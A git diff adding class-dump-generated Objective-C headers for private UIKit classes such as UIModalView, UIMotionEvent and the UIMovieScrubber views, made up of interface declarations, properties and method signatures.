_defaultButton; + int _firstOtherButton; + UIToolbar* _toolbar; + UIWindow* _originalWindow; + UIWindow* _dimWindow; + int _suspendTag; + int _dismissButtonIndex; + float _bodyTextHeight; + NSMutableArray* _buttons; + NSMutableArray* _textFields; + UIView* _keyboard; + UIView* _table; + UIView* _dimView; + struct { + unsigned numberOfRows : 7; + unsigned delegateAlertSheetButtonClicked : 1; + unsigned delegateDidPresentAlertSheet : 1; + unsigned delegateDidDismissAlertSheet : 1; + unsigned hideButtonBar : 1; + unsigned alertStyle : 3; + unsigned dontDimBackground : 1; + unsigned dismissSuspended : 1; + unsigned dontBlockInteraction : 1; + unsigned sheetWasPoppedUp : 1; + unsigned animating : 1; + unsigned hideWhenDoneAnimating : 1; + unsigned layoutWhenDoneAnimating : 1; + unsigned titleMaxLineCount : 2; + unsigned bodyTextMaxLineCount : 3; + unsigned runsModal : 1; + unsigned runningModal : 1; + unsigned addedTextView : 1; + unsigned addedTableShadows : 1; + unsigned showOverSBAlerts : 1; + unsigned showMinTableContent : 1; + unsigned bodyTextTruncated : 1; + unsigned orientation : 3; + unsigned groupsTextFields : 1; + unsigned delegateBodyTextAlignment : 1; + unsigned delegateClickedButtonAtIndex : 1; + unsigned delegateCancel : 1; + unsigned delegateWillPresent : 1; + unsigned delegateDidPresent : 1; + unsigned delegateWillDismiss : 1; + unsigned delegateDidDismiss : 1; + unsigned popupFromPoint : 1; + unsigned extra : 20; + } _modalViewFlags; +} +@property(readonly, assign, nonatomic, getter=isVisible) BOOL visible; +@property(assign, nonatomic) int cancelButtonIndex; +@property(readonly, assign, nonatomic) int numberOfButtons; +@property(copy, nonatomic) NSString* message; +@property(copy, nonatomic) NSString* title; +@property(assign, nonatomic) id delegate; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithTitle:(id)title message:(id)message delegate:(id)delegate defaultButton:(id)button cancelButton:(id)button5 otherButtons:(id)buttons; +-(id)_initWithTelephoneNumber:(id)telephoneNumber buttons:(id)buttons defaultButtonIndex:(int)index delegate:(id)delegate context:(id)context; +-(void)dealloc; +-(int)addButtonWithTitle:(id)title; +-(id)buttonTitleAtIndex:(int)index; +-(void)setDefaultButtonIndex:(int)index; +-(int)defaultButtonIndex; +-(void)_setFirstOtherButtonIndex:(int)index; +-(int)firstOtherButtonIndex; +-(void)dismissWithClickedButtonIndex:(int)clickedButtonIndex animated:(BOOL)animated; +@end + +@interface UIModalView (Private) +@property(assign, nonatomic) BOOL groupsTextFields; ++(CGSize)minimumSize; ++(id)_popupAlertBackground; ++(BOOL)atLeastOneAlertVisible; ++(id)topMostAlert; ++(id)visibleAlert; ++(void)noteOrientationChangingTo:(int)to; +-(id)initWithTitle:(id)title buttons:(id)buttons defaultButtonIndex:(int)index delegate:(id)delegate context:(id)context; +-(BOOL)requiresPortraitOrientation; +-(int)_currentOrientation; +-(void)_setAlertSheetStyleFromButtonBar:(id)buttonBar; +-(id)buttons; +-(void)_createTitleLabelIfNeeded; +-(void)_createSubtitleLabelIfNeeded; +-(void)_createBodyTextLabelIfNeeded; +-(void)_createTaglineTextLabelIfNeeded; +-(void)_setupTitleStyle; +-(void)setBodyText:(id)text; +-(void)setTaglineText:(id)text; +-(void)setSubtitle:(id)subtitle; +-(id)subtitle; +-(id)bodyText; +-(void)setTitleMaxLineCount:(int)count; +-(int)titleMaxLineCount; +-(void)setBodyTextMaxLineCount:(int)count; +-(int)bodyMaxLineCount; +-(id)addTextFieldWithValue:(id)value label:(id)label; +-(void)_setTextFieldsHidden:(BOOL)hidden; +-(id)textFieldAtIndex:(int)index; +-(int)textFieldCount; +-(id)textField; +-(void)_alertSheetTextFieldReturn:(id)aReturn; +-(id)keyboard; +-(void)setDefaultButton:(id)button; +-(id)defaultButton; +-(void)setDestructiveButton:(id)button; +-(id)destructiveButton; +-(id)_addButtonWithTitle:(id)title label:(id)label buttonClass:(Class)aClass; +-(id)addButtonWithTitle:(id)title label:(id)label; +-(id)_addButtonWithTitle:(id)title; +-(id)addButtonWithTitle:(id)title buttonClass:(Class)aClass; +-(int)buttonCount; +-(void)setContext:(id)context; +-(id)context; +-(void)_buttonClicked:(id)clicked; +-(void)_cleanupAfterPopupAnimation; +-(void)setTableShouldShowMinimumContent:(BOOL)showMinimumContent; +-(BOOL)tableShouldShowMinimumContent; +-(id)table; +-(BOOL)_needsKeyboard; +-(void)setShowsOverSpringBoardAlerts:(BOOL)alerts; +-(BOOL)showsOverSpringBoardAlerts; +-(void)_performPopup:(BOOL)popup; +-(void)_growAnimationDidStop:(id)_growAnimation finished:(id)finished; +-(void)_bubbleAnimationShrinkDidStop:(id)_bubbleAnimationShrink finished:(id)finished; +-(void)_bubbleAnimationNormalDidStop:(id)_bubbleAnimationNormal finished:(id)finished; +-(BOOL)_isAnimating; +-(void)_popoutAnimationDidStop:(id)_popoutAnimation finished:(id)finished; +-(void)_performPopoutAnimationAnimated:(BOOL)animated; +-(void)_repopup; +-(BOOL)_dimsBackground; +-(BOOL)_canShowAlerts; +-(void)_removeAlertWindowOrShowAnOldAlert; +-(void)_temporarilyHideAnimated:(BOOL)animated; +-(void)_setupInitialFrame; +-(void)_rotatingAnimationDidStop:(id)_rotatingAnimation; +-(void)layoutAnimated:(BOOL)animated; +-(BOOL)isBodyTextTruncated; +-(void)_layoutPopupAlertWithOrientation:(int)orientation animated:(BOOL)animated; +-(void)_layoutIfNeeded; +-(void)_adjustLabelFontSizes; +-(void)popupAlertAnimated:(BOOL)animated atOffset:(float)offset; +-(void)popupAlertAnimated:(BOOL)animated fromBarButtonItem:(id)barButtonItem; +-(void)dimmingViewWasTapped:(id)tapped; +-(void)popupAlertAnimated:(BOOL)animated; +-(void)_presentSheetFromView:(id)view above:(BOOL)above; +-(void)presentSheetFromBehindView:(id)behindView; +-(void)presentSheetFromAboveView:(id)aboveView; +-(void)presentSheetInView:(id)view; +-(void)presentSheetToAboveView:(id)aboveView; +-(void)setDimView:(id)view; +-(id)_dimView; +-(void)_presentSheetStartingFromYCoordinate:(double)ycoordinate; +-(void)_slideSheetOut:(BOOL)anOut; +-(void)dismiss; +-(void)dismissAnimated:(BOOL)animated; +-(CGSize)backgroundSize; +-(float)_titleVerticalTopInset; +-(float)_titleVerticalBottomInset; +-(float)_titleHorizontalInset; +-(float)_bottomVerticalInset; +-(void)drawRect:(CGRect)rect; +-(void)_appSuspended:(id)suspended; +-(void)_alertSheetAnimationDidStop:(id)_alertSheetAnimation finished:(id)finished; +-(void)setNumberOfRows:(int)rows; +-(int)numberOfRows; +-(int)alertSheetStyle; +-(void)setAlertSheetStyle:(int)style; +-(void)setDimsBackground:(BOOL)background; +-(BOOL)dimsBackground; +-(void)setSuspendTag:(int)tag; +-(int)suspendTag; +-(void)setBlocksInteraction:(BOOL)interaction; +-(BOOL)blocksInteraction; +-(void)setRunsModal:(BOOL)modal; +-(BOOL)runsModal; +-(CGRect)titleRect; +-(float)_maxHeight; +-(float)_buttonHeight; +-(int)numberOfLinesInTitle; +-(void)layout; +-(void)presentSheetFromButtonBar:(id)buttonBar; +-(id)bodyTextView; +-(id)taglineTextView; +-(void)_prepareForDisplay; +-(void)replaceAlert:(id)alert; +-(void)_prepareToBeReplaced; +@end + diff --git a/igor/headers/dumpedUIKit/UIModalViewDelegate.h b/igor/headers/dumpedUIKit/UIModalViewDelegate.h new file mode 100644 index 0000000..359788a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIModalViewDelegate.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" + + +@protocol UIModalViewDelegate +@optional +-(void)modalView:(id)view clickedButtonAtIndex:(int)index; +-(void)modalViewCancel:(id)cancel; +-(void)willPresentModalView:(id)view; +-(void)didPresentModalView:(id)view; +-(void)modalView:(id)view willDismissWithButtonIndex:(int)buttonIndex; +-(void)modalView:(id)view didDismissWithButtonIndex:(int)buttonIndex; +@end + diff --git a/igor/headers/dumpedUIKit/UIMoreListCellLayoutManager.h b/igor/headers/dumpedUIKit/UIMoreListCellLayoutManager.h new file mode 100644 index 0000000..6027f0c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMoreListCellLayoutManager.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITableViewCellLayoutManager.h" + + +__attribute__((visibility("hidden"))) +@interface UIMoreListCellLayoutManager : UITableViewCellLayoutManager { +@private + float _widestImageWidth; +} +-(void)layoutSubviewsOfCell:(id)cell; +-(void)setWidestImageWidthFromViewControllers:(id)viewControllers; +@end + diff --git a/igor/headers/dumpedUIKit/UIMoreListController.h b/igor/headers/dumpedUIKit/UIMoreListController.h new file mode 100644 index 0000000..d52997f --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMoreListController.h @@ -0,0 +1,39 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIViewController.h" +#import "UITableViewDelegate.h" +#import "UIKit-Structs.h" +#import "UITableViewDataSource.h" + +@class NSArray, UITableView, UIMoreListCellLayoutManager; + +__attribute__((visibility("hidden"))) +@interface UIMoreListController : UIViewController { +@private + UITableView* _table; + BOOL _allowsCustomizing; + NSArray* _moreViewControllers; + UIMoreListCellLayoutManager* _layoutManager; +} +@property(assign, nonatomic) BOOL allowsCustomizing; +@property(retain, nonatomic) NSArray* moreViewControllers; +-(id)init; +-(void)dealloc; +-(id)table; +-(void)_layoutCells; +-(void)_updateEditButton; +-(BOOL)_isSupportedInterfaceOrientation:(int)orientation; +-(id)tabBarItem; +-(void)loadView; +-(void)viewWillAppear:(BOOL)view; +-(int)numberOfSectionsInTableView:(id)tableView; +-(int)tableView:(id)view numberOfRowsInSection:(int)section; +-(id)tableView:(id)view cellForRowAtIndexPath:(id)indexPath; +-(void)tableView:(id)view didSelectRowAtIndexPath:(id)indexPath; +@end + diff --git a/igor/headers/dumpedUIKit/UIMoreNavigationController.h b/igor/headers/dumpedUIKit/UIMoreNavigationController.h new file mode 100644 index 0000000..0d71127 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMoreNavigationController.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UINavigationController.h" + +@class NSArray, UIMoreListController; + +__attribute__((visibility("hidden"))) +@interface UIMoreNavigationController : UINavigationController { +@private + UIMoreListController* _moreListController; + UINavigationController* _originalNavigationController; + UIViewController* _originalRootViewController; +} +@property(assign, nonatomic) UIViewController* displayedViewController; +@property(assign, nonatomic) BOOL allowsCustomizing; +@property(retain, nonatomic) NSArray* moreViewControllers; +-(id)init; +-(void)dealloc; +-(id)_preparedViewController:(id)controller; +-(void)_restoreOriginalNavigationController; +-(void)pushViewController:(id)controller animated:(BOOL)animated; +-(void)didShowViewController:(id)controller animated:(BOOL)animated; +@end + diff --git a/igor/headers/dumpedUIKit/UIMotionEvent.h b/igor/headers/dumpedUIKit/UIMotionEvent.h new file mode 100644 index 0000000..42a0cd6 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMotionEvent.h @@ -0,0 +1,51 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIInternalEvent.h" + +@class NSTimer; + +__attribute__((visibility("hidden"))) +@interface UIMotionEvent : UIInternalEvent { +@private + id _motionAccelerometer; + int _subtype; + int _shakeState; + int _stateMachineState; + double _shakeStartTime; + double _lastMovementTime; + double _highLevelTime; + double _lowEndTimeout; + NSTimer* _idleTimer; + BOOL _sentMotionBegan; + float _lowPassState[10]; + unsigned _lowPassStateIndex; + unsigned _highPassStateIndex; + float _highPassState[2]; + int notifyToken; +} +@property(assign, nonatomic) int shakeState; +-(id)_init; +-(void)dealloc; +-(int)type; +-(int)subtype; +-(void)_setSubtype:(int)subtype; +-(id)description; +-(void)_willResume; +-(void)_willSuspend; +-(void)_accelerometerDidDetectMovementWithTimestamp:(double)_accelerometer; +-(void)_idleTimerFired; +-(void)accelerometer:(id)accelerometer didAccelerateWithTimeStamp:(double)timeStamp x:(float)x y:(float)y z:(float)z eventType:(int)type; +-(int)_feedStateMachine:(float)machine currentState:(int)state timestamp:(double)timestamp; +-(float)_highPass:(float)pass; +-(void)_resetLowPassState; +-(float)_lowPass:(float)pass; +-(float)_determineShakeLevelX:(float)x y:(float)y currentState:(int)state; +-(int)_shakeState; +-(void)_enablePeakDetectionIfNecessary; +@end + diff --git a/igor/headers/dumpedUIKit/UIMovieScrubber.h b/igor/headers/dumpedUIKit/UIMovieScrubber.h new file mode 100644 index 0000000..929f20b --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMovieScrubber.h @@ -0,0 +1,148 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIMovieScrubberTrackViewDelegate.h" +#import "UIMovieScrubberTrackViewDataSource.h" +#import "UIKit-Structs.h" +#import "UIControl.h" + +@class UIMovieScrubberTrackView, UIMovieScrubberEditingView, UILabel, UIImage, UIImageView; +@protocol UIMovieScrubberDataSource, UIMovieScrubberDelegate; + +@interface UIMovieScrubber : UIControl { + UIImageView* _thumbView; + UIMovieScrubberTrackView* _trackView; + UIMovieScrubberEditingView* _editingView; + UILabel* _elapsedLabel; + UILabel* _remainingLabel; + int _timeComponents; + UIImage* _fillImage; + UIImage* _innerShadowImage; + UIImage* _maskImage; + UIImage* _shadowImage; + id _dataSource; + id _delegate; + CGRect _trackRect; + float _hitOffset; + float _zoomDelay; + BOOL _showTimeViews; + BOOL _editable; + double _value; + double _maximumValue; + double _minimumValue; + CGPoint _touchLocationWhenTrackPressBegan; + double _trimStartValue; + double _trimEndValue; + double _minTrimmedLength; + double _maxTrimmedLength; + double _zoomAnimationDuration; + double _zoomAnimationDelay; + struct { + unsigned continuous : 1; + unsigned animating : 1; + unsigned creatingSnapshot : 1; + unsigned needsReload : 1; + unsigned layoutTimeViews : 1; + unsigned computeTrackRect : 1; + unsigned clampingTrimRange; + unsigned zoomed : 1; + unsigned zoomAnimating : 1; + unsigned trackIsPressed : 1; + unsigned trackAnimating : 1; + unsigned thumbIsVisible : 1; + unsigned handleIsPressed : 1; + unsigned willBeginEditing : 1; + unsigned editing : 1; + unsigned editingHandle; + unsigned rotationDisabled; + unsigned delegateValueDidChange : 1; + unsigned delegateStartValueDidChange : 1; + unsigned delegateEndValueDidChange : 1; + unsigned delegateWillBeginRequestingThumbnails : 1; + unsigned delegateDidFinishRequestingThumbnails : 1; + unsigned delegateDidBeginEditing : 1; + unsigned delegateEditingAnimationFinished : 1; + } _sliderFlags; +} +@property(assign, nonatomic) float zoomDelay; +@property(assign, nonatomic) BOOL showTimeViews; +@property(assign, nonatomic) double value; +@property(assign, nonatomic) double duration; +@property(assign, nonatomic) double maximumTrimLength; +@property(assign, nonatomic) double minimumTrimLength; +@property(assign, nonatomic) double trimStartValue; +@property(assign, nonatomic) double trimEndValue; +@property(assign, nonatomic, getter=isEditing) BOOL editing; +@property(assign, nonatomic) id delegate; +@property(assign, nonatomic) id dataSource; +@property(assign, nonatomic, getter=isContinuous) BOOL continuous; +@property(assign, nonatomic, getter=isEditable) BOOL editable; +@property(assign, nonatomic) BOOL thumbIsVisible; ++(id)timeStringForSeconds:(int)seconds forceFullWidthComponents:(BOOL)components isElapsed:(BOOL)elapsed; +-(id)init; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)reloadData; +-(id)_scriptingInfo; +-(id)scriptingInfoWithChildren; +-(BOOL)editable; +-(void)_animateAfterEdit:(BOOL)edit; +-(void)setEditing:(BOOL)editing animated:(BOOL)animated; +-(void)animateAfterEdit; +-(void)animateCancelEdit; +-(void)_trimAnimationDidStop:(id)_trimAnimation finished:(id)finished context:(id)context; +-(void)setZoomAnimationDuration:(float)duration; +-(void)_computeTrackRectForBounds:(CGRect)bounds; +-(CGRect)trackRect; +-(CGRect)_editingRect; +-(CGRect)thumbRectForValue:(float)value; +-(void)setFrame:(CGRect)frame; +-(void)layoutSubviews; +-(void)_initSubviews; +-(void)_updateTimes; +-(void)setValue:(double)value animated:(BOOL)animated; +-(void)_updateThumbLocation; +-(void)_setValue:(double)value andSendAction:(BOOL)action; +-(float)_editingFrameDeltaXForValue:(float)value handle:(int)handle; +-(CGRect)_editingViewFrameForStartValueWithFrame:(CGRect)frame; +-(CGRect)_editingViewFrameForEndValueWithFrame:(CGRect)frame; +-(void)_sliderAnimationWillStart:(id)_sliderAnimation context:(void*)context; +-(void)_sliderAnimationDidStop:(id)_sliderAnimation finished:(id)finished context:(void*)context; +-(void)_sendDelayedActions; +-(float)_valueForTouch:(id)touch; +-(void)setRotationDisabled:(BOOL)disabled; +-(void)_trackPressWasHeld; +-(void)_beginTrackPressWithTouch:(id)touch touchesBegan:(BOOL)began; +-(void)_cancelTrackPress:(BOOL)press; +-(void)_cancelTrackPressIfNeccessaryWithTouch:(id)touch; +-(BOOL)pointInsideThumb:(CGPoint)thumb withEvent:(id)event; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(void)_controlTouchBegan:(id)began withEvent:(id)event; +-(void)_controlTouchMoved:(id)moved withEvent:(id)event; +-(void)_controlTouchEnded:(id)ended withEvent:(id)event; +-(BOOL)cancelTouchTracking; +-(BOOL)_alwaysHandleScrollerMouseEvent; +-(BOOL)isAnimatingValueChange; +-(void)_sliderValueDidChange:(id)_sliderValue; +-(double)movieScrubberTrackViewDuration:(id)duration; +-(id)movieScrubberTrackView:(id)view evenlySpacedTimestamps:(int)timestamps startingAt:(id)at endingAt:(id)at4; +-(id)movieScrubberTrackView:(id)view timestampsStartingAt:(id)at endingAt:(id)at3 maxCount:(int)count; +-(void)movieScrubberTrackView:(id)view requestThumbnailImageForTimestamp:(id)timestamp; +-(void)setThumbnailImage:(CGImageRef)image forTimestamp:(id)timestamp; +-(float)movieScrubberTrackViewThumbnailAspectRatio:(id)ratio; +-(float)movieScrubberTrackViewZoomAnimationDuration:(id)duration; +-(float)movieScrubberTrackViewZoomAnimationDelay:(id)delay; +-(void)movieScrubberTrackView:(id)view clampedSizeWidthDelta:(float)delta actualSizeWidthDelta:(float)delta3 originXDelta:(float)delta4 minimumVisibleValue:(float)value maximumVisibleValue:(float)value6; +-(void)movieScrubberTrackViewDidExpand:(id)movieScrubberTrackView; +-(void)movieScrubberTrackViewDidCollapse:(id)movieScrubberTrackView; +-(void)movieScrubberTrackViewWillBeginRequestingThumbnails:(id)movieScrubberTrackView; +-(void)movieScrubberTrackViewDidFinishRequestingThumbnails:(id)movieScrubberTrackView; +@end + diff --git a/igor/headers/dumpedUIKit/UIMovieScrubberEditingView.h b/igor/headers/dumpedUIKit/UIMovieScrubberEditingView.h new file mode 100644 index 0000000..7d870e8 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMovieScrubberEditingView.h @@ -0,0 +1,39 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSArray, UIImageView; + +__attribute__((visibility("hidden"))) +@interface UIMovieScrubberEditingView : UIView { +@private + UIImageView* _leftImageView; + UIImageView* _middleImageView; + UIImageView* _rightImageView; + NSArray* _activeImages; + NSArray* _inactiveImages; + unsigned _isActive : 1; + unsigned _centerHandleEnabled : 1; +} +@property(assign, nonatomic, getter=isEditing) BOOL editing; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setCenterHandleEnabled:(BOOL)enabled; +-(BOOL)pointInsideLeftHandle:(CGPoint)handle; +-(BOOL)pointInsideRightHandle:(CGPoint)handle; +-(BOOL)pointInsideCenterHandle:(CGPoint)handle; +-(int)handleForPoint:(CGPoint)point hitOffset:(float*)offset; +-(CGRect)leftHandleBounds; +-(CGRect)leftHandleFrame; +-(CGRect)rightHandleBounds; +-(CGRect)rightHandleFrame; +-(void)bounce; +-(float)_bounceValueForFraction:(float)fraction; +@end + diff --git a/igor/headers/dumpedUIKit/UIMovieScrubberThumbnailView.h b/igor/headers/dumpedUIKit/UIMovieScrubberThumbnailView.h new file mode 100644 index 0000000..8b23e2a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMovieScrubberThumbnailView.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIImageView.h" + + +__attribute__((visibility("hidden"))) +@interface UIMovieScrubberThumbnailView : UIImageView { +@private + unsigned _hasPlaceholderImage : 1; +} +-(void)setHasPlaceholderImage:(BOOL)image; +-(BOOL)hasPlaceholderImage; +@end + diff --git a/igor/headers/dumpedUIKit/UIMovieScrubberTrackFillView.h b/igor/headers/dumpedUIKit/UIMovieScrubberTrackFillView.h new file mode 100644 index 0000000..580a296 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMovieScrubberTrackFillView.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImageView; + +__attribute__((visibility("hidden"))) +@interface UIMovieScrubberTrackFillView : UIView { +@private + UIImageView* _leftImageView; + UIImageView* _middleImageView; + UIImageView* _rightImageView; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setFrame:(CGRect)frame; +@end + diff --git a/igor/headers/dumpedUIKit/UIMovieScrubberTrackInnerShadowView.h b/igor/headers/dumpedUIKit/UIMovieScrubberTrackInnerShadowView.h new file mode 100644 index 0000000..487bb65 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMovieScrubberTrackInnerShadowView.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIMovieScrubberTrackInnerShadowView : UIView { +} +-(id)initWithFrame:(CGRect)frame; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIMovieScrubberTrackMaskView.h b/igor/headers/dumpedUIKit/UIMovieScrubberTrackMaskView.h new file mode 100644 index 0000000..32207a5 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMovieScrubberTrackMaskView.h @@ -0,0 +1,17 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIMovieScrubberTrackMaskView : UIView { +} +-(id)initWithFrame:(CGRect)frame; +@end + diff --git a/igor/headers/dumpedUIKit/UIMovieScrubberTrackOverlayView.h b/igor/headers/dumpedUIKit/UIMovieScrubberTrackOverlayView.h new file mode 100644 index 0000000..f0374d6 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMovieScrubberTrackOverlayView.h @@ -0,0 +1,45 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIMovieScrubberTrackOverlayView : UIView { +@private + double _value; + double _minimumValue; + double _maximumValue; + double _startValue; + double _endValue; + UIView* _leftFillView; + UIView* _rightFillView; + UIView* _innerShadowView; + CGRect _leftFillFrame; + CGRect _rightFillFrame; + unsigned _editingHandle; + unsigned _editing : 1; + unsigned _zoomed : 1; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setFrame:(CGRect)frame; +-(void)_updateLeftFill; +-(void)_updateRightFill; +-(void)animateFillFramesAway; +-(void)_clampValueAndLayout; +-(void)setEditing:(BOOL)editing; +-(void)setValue:(double)value; +-(void)setStartValue:(double)value; +-(void)setEndValue:(double)value; +-(void)setMinimumValue:(double)value; +-(void)setMaximumValue:(double)value; +-(void)setIsZoomed:(BOOL)zoomed; +-(void)setEditingHandle:(int)handle; +-(void)layoutSubviews; +@end + diff --git a/igor/headers/dumpedUIKit/UIMovieScrubberTrackView.h b/igor/headers/dumpedUIKit/UIMovieScrubberTrackView.h new file mode 100644 index 0000000..89f14f7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMovieScrubberTrackView.h @@ -0,0 +1,77 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" + +@class NSDictionary, NSMutableDictionary, NSArray, UIMovieScrubberTrackOverlayView; +@protocol UIMovieScrubberTrackViewDelegate, UIMovieScrubberTrackViewDataSource; + +__attribute__((visibility("hidden"))) +@interface UIMovieScrubberTrackView : UIView { +@private + id _dataSource; + id _delegate; + NSArray* _summaryThumbnailViews; + NSArray* _summaryThumbnailTimestamps; + NSArray* _summaryThumbnailChildTimestamps; + NSDictionary* _thumbnailStartXValues; + NSDictionary* _childThumbnailViews; + NSMutableDictionary* _thumbnailViews; + NSArray* _timestamps; + UIMovieScrubberTrackOverlayView* _overlayView; + UIView* _maskView; + UIView* _maskContainerView; + CGSize _thumbnailSize; + float _zoomOriginXDelta; + float _zoomWidthDelta; + float _unclampedZoomWidthDelta; + float _zoomAnimationDuration; + double _duration; + double _value; + double _startValue; + double _endValue; + struct { + unsigned delegateSizeOriginDelta : 1; + unsigned delegateDidExpand : 1; + unsigned delegateDidCollapse : 1; + unsigned delegateWillRequestThumbs : 1; + unsigned delegateDidRequestThumbs : 1; + unsigned delegateZoomAnimationDuration : 1; + unsigned delegateZoomAnimationDelay : 1; + unsigned needsReload : 1; + unsigned editing : 1; + unsigned editingHandle; + unsigned zoomIsDisabled : 1; + } _trackFlags; +} +@property(assign, nonatomic) id delegate; +@property(assign, nonatomic) id dataSource; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)drawRect:(CGRect)rect; +-(void)setFrame:(CGRect)frame; +-(void)setValue:(double)value; +-(void)setEditing:(BOOL)editing; +-(void)animateFillFramesAway; +-(void)setStartValue:(double)value; +-(void)setEndValue:(double)value; +-(void)setThumbnailImage:(CGImageRef)image forTimestamp:(id)timestamp; +-(id)_createImageViewForTimestamp:(id)timestamp; +-(void)clear; +-(void)_reallyReloadData; +-(void)reloadData; +-(void)layoutSubviews; +-(void)setZoomAnimationDuration:(float)duration; +-(float)zoomAnimationDuration; +-(BOOL)zoomAtPoint:(CGPoint)point; +-(void)_setOverlayViewIsZoomed:(BOOL)zoomed minValue:(float)value maxValue:(float)value3; +-(void)unzoom; +-(void)_zoomAnimation:(id)animation didFinish:(id)finish context:(void*)context; +-(void)_unzoomAnimation:(id)animation didFinish:(id)finish context:(void*)context; +@end + diff --git a/igor/headers/dumpedUIKit/UIMovieScrubberTrackViewDataSource.h b/igor/headers/dumpedUIKit/UIMovieScrubberTrackViewDataSource.h new file mode 100644 index 0000000..5db73be --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMovieScrubberTrackViewDataSource.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" + + +@protocol UIMovieScrubberTrackViewDataSource +-(double)movieScrubberTrackViewDuration:(id)duration; +-(id)movieScrubberTrackView:(id)view evenlySpacedTimestamps:(int)timestamps startingAt:(id)at endingAt:(id)at4; +-(id)movieScrubberTrackView:(id)view timestampsStartingAt:(id)at endingAt:(id)at3 maxCount:(int)count; +-(float)movieScrubberTrackViewThumbnailAspectRatio:(id)ratio; +-(void)movieScrubberTrackView:(id)view requestThumbnailImageForTimestamp:(id)timestamp; +@end + diff --git a/igor/headers/dumpedUIKit/UIMovieScrubberTrackViewDelegate.h b/igor/headers/dumpedUIKit/UIMovieScrubberTrackViewDelegate.h new file mode 100644 index 0000000..21d711c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMovieScrubberTrackViewDelegate.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import 